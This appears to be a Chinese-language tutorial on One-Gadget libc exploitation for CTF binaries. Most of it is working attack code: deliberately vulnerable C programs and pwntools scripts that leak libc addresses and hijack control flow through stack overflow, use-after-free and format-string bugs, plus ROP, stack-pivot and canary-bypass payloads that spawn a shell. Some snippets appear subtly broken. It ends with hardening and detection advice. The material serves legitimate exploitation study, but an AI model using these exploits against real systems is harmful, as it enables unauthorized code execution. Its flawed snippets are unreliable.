072_二进制安全终极技术：一键RCE（One-Gadget）深度解析与实战指南——从Libc泄露到远程命令执行的高效攻击路径

One-Gadget攻击流程
┌─────────────────┐     ┌─────────────────┐     ┌─────────────────┐
│  识别漏洞点     │────>│  泄露Libc基址   │────>│  定位One-Gadget │
└─────────────────┘     └─────────────────┘     └────────┬────────┘
                                                         │
┌─────────────────┐     ┌─────────────────┐     ┌────────▼────────┐
│  成功获取Shell  │<────│  触发代码执行   │<────│  满足执行条件   │
└─────────────────┘     └─────────────────┘     └─────────────────┘

文章内容概览
├── 引言
├── 第一部分：One-Gadget基础概念与原理
│   ├── 1.1 One-Gadget的定义与特点
│   ├── 1.2 One-Gadget的工作原理
│   ├── 1.3 One-Gadget与传统ROP的比较
│   └── 1.4 Libc库中的系统调用机制
├── 第二部分：one_gadget工具详解
│   ├── 2.1 one_gadget工具概述
│   ├── 2.2 one_gadget工具安装
│   ├── 2.3 one_gadget基本语法与输出解析
│   ├── 2.4 one_gadget高级参数配置
│   └── 2.5 one_gadget内部工作机制
├── 第三部分：One-Gadget实战利用
│   ├── 3.1 One-Gadget实战利用流程
│   ├── 3.2 One-Gadget执行条件分析
│   ├── 3.3 Libc地址泄露技术
│   ├── 3.4 One-Gadget选择策略
│   └── 3.5 常见执行失败原因与解决方案
├── 第四部分：One-Gadget实战案例分析
│   ├── 4.1 栈溢出漏洞中的One-Gadget利用
│   ├── 4.2 堆漏洞中的One-Gadget利用
│   ├── 4.3 格式化字符串漏洞中的One-Gadget利用
│   └── 4.4 多技术结合的综合案例
├── 第五部分：One-Gadget高级技巧与优化
│   ├── 5.1 One-Gadget条件绕过技术
│   ├── 5.2 One-Gadget自动化工具链构建
│   ├── 5.3 One-Gadget变种与扩展利用
│   └── 5.4 One-Gadget利用优化策略
├── 第六部分：One-Gadget的未来发展与实战建议
│   ├── 6.1 One-Gadget技术的发展趋势
│   ├── 6.2 实战中的最佳实践建议
│   └── 6.3 学习路径与能力提升
├── 结论
└── 参考文献

# 确保已安装Ruby
sudo apt-get update
sudo apt-get install ruby-full

# 安装one_gadget
sudo gem install one_gadget

# 安装Homebrew（如果尚未安装）
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# 安装Ruby
brew install ruby

# 安装one_gadget
gem install one_gadget

# 拉取包含one_gadget的Docker镜像
docker pull phith0n/ctf-tools

# 运行容器并使用one_gadget
docker run --rm -it phith0n/ctf-tools one_gadget --help

one_gadget <libc路径>

# 扫描系统Libc库
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# 扫描CTF比赛中的Libc文件
one_gadget libc-2.23.so

0x45216 execve("/bin/sh", rsp+0x30, environ) [条件: rsp+0x30==NULL]
0x4526a execve("/bin/sh", rsp+0x40, environ) [条件: rsp+0x40==NULL]
0xf02a4 execve("/bin/sh", rsp+0x50, environ) [条件: rsp+0x50==NULL]
0xf1147 execve("/bin/sh", r15, environ) [条件: r15==NULL]

# 指定Libc基地址，直接计算One-Gadget的绝对地址
one_gadget -b 0x7f0000000000 /lib/x86_64-linux-gnu/libc.so.6

# 显示详细信息
one_gadget -d /lib/x86_64-linux-gnu/libc.so.6

# 输出原始格式，用于脚本处理
one_gadget -r /lib/x86_64-linux-gnu/libc.so.6 > gadgets.txt

# 结合pwntools自动化利用
echo "from pwn import *; import subprocess; libc_path = '/path/to/libc.so.6'; p = process('./vuln'); gadgets = subprocess.check_output(['one_gadget', '-r', libc_path]).decode().splitlines(); print(gadgets)" > exploit.py

One-Gadget六步利用法
1. 识别漏洞 → 2. 泄露Libc基址 → 3. 定位One-Gadget →
4. 计算实际地址 → 5. 满足执行条件 → 6. 触发跳转

0xf1147 execve("/bin/sh", r15, environ) [条件: r15==NULL]

0x45216 execve("/bin/sh", rsp+0x30, environ) [条件: rsp+0x30==NULL]

0x1b3e1a execve("/bin/sh", rsp+0x70, environ) [条件: [rsp+0x70]==NULL && [rsp+0x78]==NULL]

Libc地址泄露技术对比
┌───────────────────┐     ┌───────────────────┐     ┌───────────────────┐
│  GOT表泄露        │     │  堆地址泄露       │     │  栈地址泄露       │
│  ─────────       │     │  ──────────       │     │  ──────────       │
│  • 适用范围广     │     │  • 适用于堆漏洞   │     │  • 适用于栈溢出   │
│  • 实现简单       │     │  • 可绕过ASLR     │     │  • 可获取返回地址 │
│  • 需格式化字符串 │     │  • 需UAF等漏洞    │     │  • 需栈溢出点     │
└───────────────────┘     └───────────────────┘     └───────────────────┘

// 漏洞程序示例
char buffer[100];
printf("Input: ");
gets(buffer); // 栈溢出漏洞

from pwn import *
p = process('./vuln')

# 泄露printf的GOT地址
p.sendline(fmtstr_payload(6, {printf.got: printf.plt}, write_size='byte'))
p.recvuntil('\n')
libc_addr = u64(p.recv(6).ljust(8, '\x00'))

# 计算Libc基地址
libc_base = libc_addr - libc.symbols['printf']
print(f"Libc base: {hex(libc_base)}")

// UAF漏洞示例
void *chunk = malloc(100);
free(chunk);
// 此时chunk可能已被加入unsorted bin，其中包含Libc地址
printf("%p\n", chunk); // 泄露Libc地址

# 使用格式化字符串泄露栈地址
p.sendline('%15$p')
leaked_addr = int(p.recvline().strip(), 16)
libc_base = leaked_addr - 0x21c87  # 偏移根据实际情况调整

# 测试多个One-Gadget
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
for offset in gadgets:
    try:
        p = process('./vuln')
        exploit(p, libc_base + offset)
        p.interactive()  # 如果成功获取shell，会在此处停留
        break
    except Exception as e:
        print(f"Gadget {hex(offset)} failed: {e}")
        p.close()

栈溢出One-Gadget利用流程
输入恶意数据 → 覆盖返回地址 → 指向One-Gadget → 满足寄存器条件 → 执行execve → 获取shell

// vuln.c - 存在栈溢出漏洞的程序
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[100];
    printf("Input your name: ");
    gets(buffer);  // 存在栈溢出漏洞
    printf("Hello, %s!\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}

gcc -fno-stack-protector -no-pie -o vuln vuln.c

from pwn import *

# 使用 cyclic 生成模式字符串
pattern = cyclic(200)
p = process('./vuln')
p.sendlineafter('Input your name: ', pattern)
p.wait()
core = p.corefile
rip = core.rip
print(f"RIP at crash: {hex(rip)}")

# 计算偏移量
offset = cyclic_find(p64(rip))
print(f"Offset to return address: {offset}")

# 泄露Libc地址
p = process('./vuln')
ep = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # 替换为目标Libc

# 构造payload
system_got = ep.got['system']
puts_plt = ep.plt['puts']
vuln_func = ep.symbols['vulnerable_function']

payload = b'A' * offset  # 填充到返回地址
payload += p64(puts_plt)  # 调用puts函数
payload += p64(vuln_func)  # 返回vulnerable_function重新执行
payload += p64(system_got)  # puts的参数：system的GOT地址

p.sendlineafter('Input your name: ', payload)

# 接收泄露的地址
p.recvline()  # 跳过"Hello, AAAAAA...!"
system_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
print(f"Leaked system address: {hex(system_addr)}")

# 计算Libc基地址
libc_base = system_addr - libc.symbols['system']
print(f"Libc base address: {hex(libc_base)}")

# 假设使用one_gadget工具找到的偏移为0x45216
one_gadget_offset = 0x45216
one_gadget_addr = libc_base + one_gadget_offset

# 构造最终payload
payload = b'A' * offset  # 填充到返回地址
payload += p64(one_gadget_addr)  # 跳转到One-Gadget

# 触发exploit
p = process('./vuln')
p.sendlineafter('Input your name: ', payload)
p.interactive()

UAF One-Gadget利用流程
分配内存 → 释放内存 → 使用已释放内存 → 控制函数指针 → 指向One-Gadget → 触发执行 → 获取shell

// uaf_vuln.c - 存在Use-After-Free漏洞的程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    void (*func)(char *);
    char buffer[100];
} Object;

Object *obj = NULL;

void print_message(char *msg) {
    printf("Message: %s\n", msg);
}

void create_object() {
    obj = (Object*)malloc(sizeof(Object));
    obj->func = print_message;
}

void delete_object() {
    free(obj);
    obj = NULL;  // 虽然置为NULL，但仍然可能存在其他引用
}

void use_object(char *msg) {
    obj->func(msg);  // 如果obj已经被free但未被重置，这里会触发UAF
}

void menu() {
    printf("1. Create object\n");
    printf("2. Delete object\n");
    printf("3. Use object\n");
    printf("4. Exit\n");
    printf("Choice: ");
}

int main() {
    char choice[10];
    char message[100];
    
    while (1) {
        menu();
        gets(choice);
        
        switch (choice[0]) {
            case '1':
                create_object();
                printf("Object created.\n");
                break;
            case '2':
                delete_object();
                printf("Object deleted.\n");
                break;
            case '3':
                printf("Enter message: ");
                gets(message);
                use_object(message);
                break;
            case '4':
                return 0;
            default:
                printf("Invalid choice.\n");
        }
    }
    
    return 0;
}

gcc -g -o uaf_vuln uaf_vuln.c

from pwn import *

p = process('./uaf_vuln')

# 创建对象
p.sendlineafter('Choice: ', '1')

# 删除对象（使其进入freelist）
p.sendlineafter('Choice: ', '2')

# 创建新对象，大小与之前相同，会重用之前的内存
p.sendlineafter('Choice: ', '1')

# 此时新对象的func指针应该指向了main_arena中的地址
# 使用对象，泄露这个地址
p.sendlineafter('Choice: ', '3')
p.sendlineafter('Enter message: ', 'anything')

# 接收泄露的地址
leaked_addr = u64(p.recvline().strip().split(b': ')[1].ljust(8, b'\x00'))
print(f"Leaked address: {hex(leaked_addr)}")

# 计算Libc基地址（假设main_arena偏移为0x3c4b20，根据实际Libc版本调整）
libc_base = leaked_addr - 0x3c4b20  # 对于libc-2.23.so
print(f"Libc base: {hex(libc_base)}")

# 假设使用one_gadget找到的偏移为0x45216
one_gadget_offset = 0x45216
one_gadget_addr = libc_base + one_gadget_offset

# 重新创建对象
p.sendlineafter('Choice: ', '1')

# 删除对象
p.sendlineafter('Choice: ', '2')

# 再次创建对象，但这次我们需要控制其内容
# 由于gets函数可以溢出，我们可以覆盖func指针
p.sendlineafter('Choice: ', '3')
p.sendlineafter('Enter message: ', p64(one_gadget_addr) + b'\n')

# 此时obj->func已经被设置为One-Gadget地址
# 使用对象，触发One-Gadget
p.sendlineafter('Choice: ', '3')
p.sendlineafter('Enter message: ', 'anything')

p.interactive()

格式化字符串One-Gadget利用流程
构造特殊格式字符串 → 泄露Libc地址 → 计算One-Gadget地址 → 修改返回地址 → 触发跳转 → 获取shell

// fmt_vuln.c - 存在格式化字符串漏洞的程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input) {
    printf(input);  // 格式化字符串漏洞
    printf("\n");
}

int main() {
    char input[100];
    
    printf("Enter input: ");
    gets(input);  // 同时存在栈溢出漏洞
    
    vulnerable_function(input);
    
    return 0;
}

gcc -o fmt_vuln fmt_vuln.c

from pwn import *

p = process('./fmt_vuln')

# 泄露栈中的返回地址
p.sendlineafter('Enter input: ', '%15$p')
leaked_addr = int(p.recvline().strip(), 16)
print(f"Leaked return address: {hex(leaked_addr)}")

# 假设泄露的是main函数的返回地址，计算Libc基地址
# 实际偏移需要根据Libc版本确定
libc_base = leaked_addr - 0x21ab0  # 示例偏移，需根据实际调整
print(f"Libc base: {hex(libc_base)}")

# 假设使用one_gadget找到的偏移为0x45216
one_gadget_offset = 0x45216
one_gadget_addr = libc_base + one_gadget_offset

# 重新启动程序
p = process('./fmt_vuln')

# 使用fmtstr_payload生成格式化字符串，修改返回地址
elf = ELF('./fmt_vuln')

# 假设返回地址在栈中的位置是第8个参数
# 实际位置需要调试确定
payload = fmtstr_payload(8, {elf.got['exit']: one_gadget_addr})

p.sendlineafter('Enter input: ', payload)

# 当程序调用exit时，将执行One-Gadget
try:
    p.interactive()
except Exception as e:
    print(f"Error: {e}")

// combined_vuln.c - 存在多种漏洞的程序
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void stage1() {
    char input[100];
    printf("Stage 1: ");
    gets(input);
    printf("You entered: ");
    printf(input);  // 格式化字符串漏洞
    printf("\n");
}

void stage2() {
    char buffer[100];
    printf("Stage 2: ");
    gets(buffer);  // 栈溢出漏洞
}

int main() {
    printf("Welcome to the challenge!\n");
    stage1();
    stage2();
    printf("Goodbye!\n");
    return 0;
}

gcc -o combined_vuln combined_vuln.c -no-pie

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

def exploit():
    # 步骤1: 使用格式化字符串漏洞泄露Libc基地址
    p = process('./combined_vuln')
    elf = ELF('./combined_vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # 替换为目标Libc
    
    # 泄露栈中的返回地址，间接获取Libc基地址
    p.sendlineafter('Stage 1: ', '%15$p')
    leak = p.recvuntil('\nStage 2: ')
    leaked_addr = int(leak.split(b'You entered: ')[1].strip(), 16)
    print(f"Leaked address: {hex(leaked_addr)}")
    
    # 计算Libc基地址（假设泄露的是__libc_start_main+243）
    # 实际偏移需要调试确定
    libc_base = leaked_addr - libc.symbols['__libc_start_main'] - 243
    print(f"Libc base: {hex(libc_base)}")
    
    # 步骤2: 使用one_gadget工具找到合适的gadget
    # 这里使用示例偏移，实际需运行one_gadget获取
    one_gadget_offsets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    
    # 尝试所有可能的One-Gadget
    for offset in one_gadget_offsets:
        try:
            print(f"Trying one_gadget at offset: {hex(offset)}")
            
            # 重新启动程序
            p = process('./combined_vuln')
            
            # 跳过stage1
            p.sendlineafter('Stage 1: ', 'skip')
            
            # 计算stage2中buffer到返回地址的偏移
            # 可以使用cyclic工具计算
            offset_to_ret = 112  # 示例值，实际需计算
            
            # 构造payload
            one_gadget_addr = libc_base + offset
            payload = b'A' * offset_to_ret + p64(one_gadget_addr)
            
            p.sendlineafter('Stage 2: ', payload)
            
            # 检查是否成功
            p.sendline('id')
            response = p.recv(timeout=1)
            if b'uid' in response:
                print(f"Success with one_gadget: {hex(offset)}")
                p.interactive()
                return
            else:
                p.close()
        except Exception as e:
            print(f"Failed with error: {e}")
            p.close()
            continue
    
    print("All one_gadgets failed, try other methods")

exploit()

### 4.4 多技术结合的综合利用案例

在实际的CTF比赛中，往往需要结合多种技术才能成功利用One-Gadget。以下是一个综合利用案例：

**漏洞背景：** 目标程序结合了堆漏洞和格式化字符串漏洞，需要先泄露Libc地址，然后利用堆漏洞控制程序执行流，最终通过One-Gadget实现RCE。

**综合利用策略：**

```python
from pwn import *

# 连接目标
p = process('./complex_vuln')
# p = remote('example.com', 1337)  # 远程连接

# 阶段1: 泄露Libc地址
# 使用格式化字符串漏洞泄露puts的GOT地址
p.recvuntil('> ')
p.sendline('1')  # 选择格式化字符串菜单
p.recvuntil('Enter format string: ')
p.sendline('%8$p')  # 假设第8个参数是puts的GOT地址

leaked_addr = int(p.recvline().strip(), 16)
print(f"Leaked puts@got: {hex(leaked_addr)}")

# 计算Libc基地址
# 这里使用的是libc-2.23.so的puts偏移，实际需根据目标Libc版本调整
libc = ELF('/path/to/target/libc.so.6')
libc_base = leaked_addr - libc.symbols['puts']
print(f"Libc base: {hex(libc_base)}")

# 阶段2: 使用one_gadget
# 假设通过one_gadget工具找到的偏移为0x45216
one_gadget_offset = 0x45216
one_gadget_addr = libc_base + one_gadget_offset
print(f"One-Gadget address: {hex(one_gadget_addr)}")

# 阶段3: 利用堆漏洞控制程序执行流
# 这里假设有一个UAF漏洞可以用来覆盖函数指针
p.recvuntil('> ')
p.sendline('2')  # 选择堆操作菜单

# 创建并释放对象，准备UAF攻击
p.sendline('1')  # 创建对象
p.sendline('3')  # 释放对象

# 再次分配相同大小的对象，填充One-Gadget地址
p.sendline('1')  # 创建对象
p.recvuntil('Enter data: ')
p.sendline(p64(one_gadget_addr))  # 覆盖函数指针为One-Gadget地址

# 阶段4: 触发函数调用，执行One-Gadget
p.recvuntil('> ')
p.sendline('4')  # 触发函数调用

# 获取shell
p.interactive()

# 在Linux系统中启用全ASLR
echo 2 > /proc/sys/kernel/randomize_va_space

# 编译时启用所有保护
gcc -fstack-protector-all -Wl,-z,relro,-z,now -pie -o secure_program program.c

// 安全实践：清除环境变量
int secure_main(int argc, char *argv[]) {
    // 清除可能影响程序执行的环境变量
    clearenv();
    
    // 设置必要的安全环境变量
    setenv("PATH", "/bin:/usr/bin", 1);
    
    // 程序主体
    // ...
}

// 使用seccomp限制系统调用示例
#include <linux/seccomp.h>
#include <sys/prctl.h>

void setup_seccomp() {
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
    // 或使用更灵活的SECCOMP_MODE_FILTER
}

# 构造ROP链调整寄存器状态
rop_chain = p64(pop_rdi)     # pop rdi; ret
rop_chain += p64(0)          # 将rdi设置为0
rop_chain += p64(one_gadget) # 跳转到One-Gadget

# 创建特定的环境变量以满足One-Gadget条件
context.env = {'LD_PRELOAD': '', 'ABCDEF': 'x'*8}

# 在栈上填充NULL以满足One-Gadget条件
payload = b'A' * offset + p64(one_gadget) + b'\x00' * 0x100

# 堆风水示例
# 分配大量chunk以控制堆布局
for i in range(50):
    malloc(p, 0x80)  # 假设malloc函数封装为一个辅助函数

# 释放特定chunk到unsorted bin
specific_index = 20
free(p, specific_index)

# 分配适当大小的chunk以获取Libc地址
malloc(p, 0x80)

# 利用格式化字符串漏洞修改栈内容
payload = fmtstr_payload(6, {
    stack_addr_1: 0,          # 设置特定栈地址为NULL
    stack_addr_2: 0x12345678  # 设置另一个栈地址为特定值
}, write_size='byte')

# 修改全局变量
p.sendline(fmtstr_payload(6, {global_var_addr: 0}, write_size='byte'))

# 先使用条件调整Gadget，再使用One-Gadget
payload = b'A' * offset
payload += p64(pop_rax)      # 调整rax寄存器
payload += p64(0)            # 设置rax为0
payload += p64(pop_rbx)      # 调整rbx寄存器
payload += p64(0)            # 设置rbx为0
payload += p64(one_gadget)   # 跳转到One-Gadget

# 先清理内存，再使用One-Gadget
payload = b'A' * offset
payload += p64(clear_memory_gadget)  # 假设存在一个清理内存的gadget
payload += p64(one_gadget)           # 跳转到One-Gadget

# 多次跳转策略
payload = b'A' * offset
payload += p64(first_gadget)   # 第一个gadget，用于准备环境
payload += p64(second_gadget)  # 第二个gadget，继续调整
payload += p64(one_gadget)     # 最终跳转到One-Gadget

# 假设One-Gadget需要[rsp+0x30]==NULL
payload = b'A' * offset

# 添加pop rsp gadget来控制栈指针
payload += p64(pop_rsp_ret)  # 0x00000000000c607e in libc-2.23.so
payload += p64(controlled_stack_addr)  # 可控的栈地址

# 在可控的栈地址处准备满足条件的数据
payload += b'A' * 0x30  # 填充到rsp+0x30位置
payload += p64(0)  # 设置NULL
payload += p64(one_gadget_addr)  # 跳转回One-Gadget

# 假设One-Gadget需要r15==NULL
payload = b'A' * offset

# 添加pop r15 ret gadget
payload += p64(pop_r15_ret)  # 0x0000000000023b6a in libc-2.23.so
payload += p64(0)  # 设置r15为NULL
payload += p64(one_gadget_addr)  # 跳转回One-Gadget

from pwn import *

# 清除所有环境变量，只保留必要的
context.clear(arch='amd64')
env = {}

# 启动进程，使用自定义环境变量
p = process('./vuln', env=env)

from pwn import *
import subprocess
import sys

def get_one_gadgets(libc_path):
    """使用one_gadget工具获取所有可用的gadget"""
    try:
        gadgets = subprocess.check_output(['one_gadget', '-r', libc_path]).decode().splitlines()
        return [int(g, 16) for g in gadgets]
    except Exception as e:
        print(f"获取one_gadget失败: {e}")
        return []

def leak_libc_address(p, elf):
    """泄露Libc基地址"""
    # 实现地址泄露逻辑，根据漏洞类型调整
    # 这里以栈溢出为例
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    main = elf.symbols['main']
    
    payload = b'A' * 100  # 假设偏移量为100
    payload += p64(puts_plt)
    payload += p64(main)  # 返回到main函数
    payload += p64(puts_got)  # puts的参数
    
    p.sendlineafter('Input: ', payload)
    leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
    
    # 计算Libc基地址
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base = leaked - libc.symbols['puts']
    return libc_base

def try_one_gadget(p, libc_base, offset, payload_func):
    """尝试使用特定的One-Gadget"""
    one_gadget_addr = libc_base + offset
    payload = payload_func(one_gadget_addr)
    
    p.sendlineafter('Input: ', payload)
    
    # 尝试获取shell
    p.sendline('ls')
    try:
        response = p.recv(timeout=1)
        if b'flag' in response or b'.txt' in response:
            print(f"成功! One-Gadget偏移: {hex(offset)}")
            return True
    except:
        pass
    return False

def main():
    # 设置环境
    context.arch = 'amd64'
    context.log_level = 'debug'
    
    # 加载程序
    elf = ELF('./vuln')
    
    # 获取One-Gadget
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    gadgets = get_one_gadgets(libc_path)
    
    # 定义payload构造函数
    def construct_payload(one_gadget_addr):
        return b'A' * 100 + p64(one_gadget_addr)
    
    # 循环尝试所有One-Gadget
    for gadget in gadgets:
        print(f"尝试One-Gadget偏移: {hex(gadget)}")
        p = process('./vuln')
        
        # 泄露Libc基地址
        libc_base = leak_libc_address(p, elf)
        print(f"Libc基地址: {hex(libc_base)}")
        
        # 尝试One-Gadget
        if try_one_gadget(p, libc_base, gadget, construct_payload):
            p.interactive()
            return
        
        p.close()
    
    print("所有One-Gadget都失败了")

if __name__ == '__main__':
    main()

# ARM32 One-Gadget利用示例
from pwn import *

context.arch = 'arm'
context.log_level = 'debug'

p = process('./arm_vuln')
# 泄露Libc地址...

# 假设One-Gadget偏移为0x12345
one_gadget_offset = 0x12345
one_gadget_addr = libc_base + one_gadget_offset

# ARM架构下构造payload（假设偏移为52）
payload = b'A' * 52 + p32(one_gadget_addr)

p.sendlineafter('Input: ', payload)
p.interactive()

# 使用ROP链设置寄存器条件后跳转到One-Gadget
payload = b'A' * offset

# 添加ROP链设置条件
payload += p64(pop_rdi_ret)  # 弹出参数到rdi
payload += p64(0)  # 设置rdi=0
payload += p64(pop_rsi_ret)  # 弹出参数到rsi
payload += p64(0)  # 设置rsi=0

# 跳转到One-Gadget
payload += p64(one_gadget_addr)

# 堆喷设置特定内存区域为NULL
for _ in range(100):
    p.sendlineafter('Command: ', 'malloc 8')  # 分配大量小堆块
    
# 触发UAF漏洞，可能会重用这些NULL填充的堆块
# 然后跳转到One-Gadget...

# 栈迁移到可控区域
stack_pivot = 0x00000000000235f8  # pop rsp; ret gadget
controlled_stack = 0x7fffffffd000  # 可控的栈地址

payload = b'A' * offset
payload += p64(stack_pivot)
payload += p64(controlled_stack)  # 新的栈指针

# 在新栈上准备数据
payload += b'B' * 0x30  # 填充到rsp+0x30
payload += p64(0)  # 设置为NULL
payload += p64(one_gadget_addr)  # 跳转到One-Gadget

# 假设canary泄露场景
# 1. 泄露canary值
payload = b'A' * offset  # 到达canary位置前的填充
payload += b'B' * 1  # 覆盖canary的最低字节，触发错误
p.sendline(payload)

# 从错误信息中解析canary值
p.recvuntil(b'B\x00')  # 假设canary以\x00结尾
canary = p.recv(7)  # 接收canary的7个字节
canary = b'\x00' + canary  # 补全canary

# 2. 构造包含正确canary的payload
payload = b'A' * offset + canary + b'A' * 8  # 跳过rbp
payload += p64(one_gadget_addr)

# 1. 泄露Libc中的一个函数地址
# 2. 计算Libc基地址
# 3. 使用计算出的基地址访问One-Gadget

# 启用所有安全选项的编译命令
gcc -fstack-protector-all -D_FORTIFY_SOURCE=2 -Wl,-z,relro,-z,now -fPIE -pie -o secure_program source.c

# 在Linux系统中确保ASLR启用
sudo sysctl -w kernel.randomize_va_space=2

// seccomp示例代码，限制程序只能使用特定系统调用
#include <linux/seccomp.h>
#include <sys/prctl.h>

void enable_seccomp() {
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
}

# 使用Clang的CFI编译
clang -fsanitize=cfi -flto -fvisibility=default -o secure_program source.c

# 使用auditd监控execve系统调用
sudo auditctl -a always,exit -F arch=b64 -S execve -k detect_shell

# 概念性代码：定期改变环境变量布局
import os
import random

def randomize_env():
    # 生成随机前缀的环境变量
    random_prefix = 'RANDOM_{:08x}_'.format(random.randint(0, 0xFFFFFFFF))
    # 设置多个随机环境变量
    for i in range(10):
        os.environ[random_prefix + str(i)] = os.urandom(32).hex()